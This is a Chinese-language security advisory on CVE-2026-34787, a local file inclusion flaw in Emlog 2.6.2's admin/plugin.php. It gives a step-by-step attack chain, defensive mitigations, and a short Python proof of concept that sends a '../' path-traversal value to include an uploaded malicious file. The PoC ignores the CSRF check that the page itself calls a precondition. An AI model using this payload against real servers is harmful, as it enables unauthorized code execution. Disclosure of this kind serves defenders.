IPBUF安全漏洞报告
English
CVE-2026-34787 CVSS 6.5 中危

CVE-2026-34787 Emlog本地文件包含漏洞

披露日期: 2026-04-03

漏洞信息

漏洞编号
CVE-2026-34787
漏洞类型
本地文件包含
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Emlog

相关标签

LFI本地文件包含代码执行EmlogCVE-2026-34787Web安全

漏洞概述

Emlog开源建站系统2.6.2及之前版本存在本地文件包含(LFI)漏洞。该漏洞位于admin/plugin.php文件中,由于未对GET请求中的$plugin参数进行有效过滤,直接将其用于require_once路径。若攻击者能绕过CSRF令牌检查,即可包含服务器上的任意PHP文件,导致代码执行风险。

技术细节

该漏洞的根本原因在于不安全的文件包含操作。在Emlog的admin/plugin.php第80行代码中,直接使用了来自HTTP GET请求的参数`$plugin`,并将其拼接进路径后传递给`require_once()`函数。由于缺乏对输入参数的严格校验(如目录遍历字符过滤),攻击者可以构造恶意的请求参数(例如包含`../`)。虽然系统存在CSRF防护,但描述中提到存在潜在的绕过条件。一旦成功利用,攻击者可控制服务器包含并执行恶意的PHP代码,进而获取服务器权限,造成严重的数据泄露或篡改。当前暂无补丁。

攻击链分析

STEP 1
侦察
识别目标网站使用的是Emlog系统,且版本在2.6.2及以下。
STEP 2
认证获取
由于CVSS向量显示PR:H(高权限),攻击者需要获取管理员账户的权限或有效的Session。
STEP 3
绕过CSRF
尝试绕过admin/plugin.php中的CSRF令牌检查机制,这是利用漏洞的前提条件。
STEP 4
发送恶意请求
构造包含目录遍历字符的GET请求,修改$plugin参数,指向服务器上包含恶意PHP代码的文件(如日志文件或上传的图片)。
STEP 5
代码执行
服务器后端执行require_once包含恶意文件,导致PHP代码在服务器端运行,攻击者获取控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit_lfi(target_url, session_cookie): # Target endpoint url = f"{target_url}/admin/plugin.php" # Malicious plugin parameter to include a sensitive file # Assuming an attacker uploaded a malicious image with PHP code or targeting a log file payload = { "plugin": "../../../var/www/html/uploads/malicious.jpg" } # Headers with authenticated session (High Privilege required) cookies = { "PHPSESSID": session_cookie } try: # Send GET request response = requests.get(url, params=payload, cookies=cookies, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check if the code was executed in the response.") print(response.text[:500]) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") # Usage example # exploit_lfi("http://target.com", "valid_session_id")

影响范围

Emlog <= 2.6.2

防御指南

临时缓解措施
在官方发布补丁前,建议通过WAF(Web应用防火墙)拦截针对`admin/plugin.php`的包含`../`或路径遍历特征的请求。同时,严格限制Web服务器的文件写入权限,防止攻击者在服务器上写入可被包含的恶意文件,并确保管理员账户密码强度。由于该漏洞需要高权限,重点在于防范管理员账号被窃取。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表